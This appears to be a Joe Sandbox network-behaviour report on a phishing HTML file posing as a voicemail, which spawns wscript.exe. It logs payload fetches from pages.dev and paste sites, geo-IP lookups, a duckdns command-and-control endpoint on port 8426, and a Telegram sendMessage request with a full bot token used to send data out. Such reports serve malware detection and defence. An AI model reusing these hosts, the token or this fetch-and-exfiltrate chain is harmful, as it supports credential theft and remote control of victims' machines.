                    Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49816 -> 8426
                    Uses the Telegram API (likely for C&C communication)
                    Source: unknownDNS query: name: api.telegram.org
                    Source: unknownDNS query: name: api.telegram.org
                    Source: unknownDNS query: name: api.telegram.org
                    Source: global trafficTCP traffic: 192.168.2.4:49781 -> 45.133.174.75:8426
                    Source: Joe Sandbox ViewIP Address: 199.232.192.193 199.232.192.193
                    Source: Joe Sandbox ViewIP Address: 172.66.47.2 172.66.47.2
                    Source: Joe Sandbox ViewIP Address: 45.133.174.75 45.133.174.75
                    Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
                    Source: Joe Sandbox ViewASN Name: ASBLANKPROXIESGB ASBLANKPROXIESGB
                    Source: Joe Sandbox ViewJA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
                    Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
                    Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
                    Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.32
                    Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.32
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 23.221.246.93
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 199.232.214.172
                    Source: unknownTCP traffic detected without corresponding DNS query: 199.232.214.172
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
                    Source: global trafficHTTP traffic detected: GET /love.js HTTP/1.1Host: cloudgoogle.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /ZU3tO.png,%20&width=450 HTTP/1.1Host: i.stack.imgur.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /ZU3tO.png,%20&width=450 HTTP/1.1Host: i.stack.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.png HTTP/1.1Host: icons.iconarchive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.png HTTP/1.1Host: icons.iconarchive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
                    Source: global trafficHTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b8bxb6t7sHH7Osr&MD=Nl6g3fCr HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: json.geoiplookup.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: json.geoiplookup.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /raw/rlcqft HTTP/1.1Host: pastie.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /raw/rlcqft HTTP/1.1Host: pastie.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /voic.txt HTTP/1.1Host: cviocemusikdanxcehal.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: json.geoiplookup.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: json.geoiplookup.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET /voic.txt HTTP/1.1Host: cviocemusikdanxcehal.pages.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: json.geoiplookup.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: json.geoiplookup.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36Accept-Language: en-chAccept-Encoding: gzip, deflateHost: json.geoiplookup.ioConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /raw/NsQ5qTHr HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: pastebin.com
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36Accept-Language: en-chAccept-Encoding: gzip, deflateHost: json.geoiplookup.ioConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /raw/NsQ5qTHr HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: pastebin.com
                    Source: global trafficHTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b8bxb6t7sHH7Osr&MD=Nl6g3fCr HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: json.geoiplookup.ioConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /raw/NsQ5qTHr HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: pastebin.com
                    Source: global trafficHTTP traffic detected: GET /raw/NsQ5qTHr HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: pastebin.com
                    Source: global trafficHTTP traffic detected: GET /raw/NsQ5qTHr HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: pastebin.com
                    Source: global trafficHTTP traffic detected: GET /json/ HTTP/1.1Accept: */*user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36Accept-Language: en-chAccept-Encoding: gzip, deflateHost: ip-api.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /raw/NsQ5qTHr HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: pastebin.com
                    Source: global trafficDNS traffic detected: DNS query: i.stack.imgur.com
                    Source: global trafficDNS traffic detected: DNS query: cloudgoogle.pages.dev
                    Source: global trafficDNS traffic detected: DNS query: icons.iconarchive.com
                    Source: global trafficDNS traffic detected: DNS query: www.google.com
                    Source: global trafficDNS traffic detected: DNS query: json.geoiplookup.io
                    Source: global trafficDNS traffic detected: DNS query: pastie.io
                    Source: global trafficDNS traffic detected: DNS query: cviocemusikdanxcehal.pages.dev
                    Source: global trafficDNS traffic detected: DNS query: api.telegram.org
                    Source: global trafficDNS traffic detected: DNS query: pastebin.com
                    Source: global trafficDNS traffic detected: DNS query: ip-api.com
                    Source: global trafficDNS traffic detected: DNS query: masterokrwh.duckdns.org
                    Source: unknownHTTP traffic detected: POST /bot7198128499:AAHSvX4jW6n9t45ItKyUTcn3TOm2bCJdS-s/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveContent-Length: 234sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                    Source: Voicemail Jud.htmlString found in binary or memory: http://icons.iconarchive.com/icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.png
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/VF
                    Source: wscript.exe, 0000000B.00000003.2053554395.0000000003519000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2051852371.0000000003518000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2094729720.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663272487.0000000006493000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/%
                    Source: wscript.exe, 00000011.00000003.2444699579.00000210130B7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/43
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/W
                    Source: wscript.exe, 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/a
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/ycenter2
                    Source: wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3664182847.0000000006CBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3664182847.0000000006CBA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready#
                    Source: wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready1
                    Source: wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready13
                    Source: wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready18
                    Source: wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready1I
                    Source: wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready1m
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready4
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready4C
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready4E
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready4o
                    Source: wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-ready:
                    Source: wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyCreationClassName
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyI
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyP
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyT
                    Source: wscript.exe, 0000000C.00000002.3664182847.0000000006CBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyUSER
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyWdtP.
                    Source: wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776352925.0000000006CBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228201928.0000000006CC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyZ
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readycemail
                    Source: wscript.exe, 0000000C.00000002.3663272487.0000000006493000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readycom
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readydns.org:8426/is-ready4F=
                    Source: wscript.exe, 0000000C.00000002.3664182847.0000000006CBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyi
                    Source: wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyil
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readym
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyows
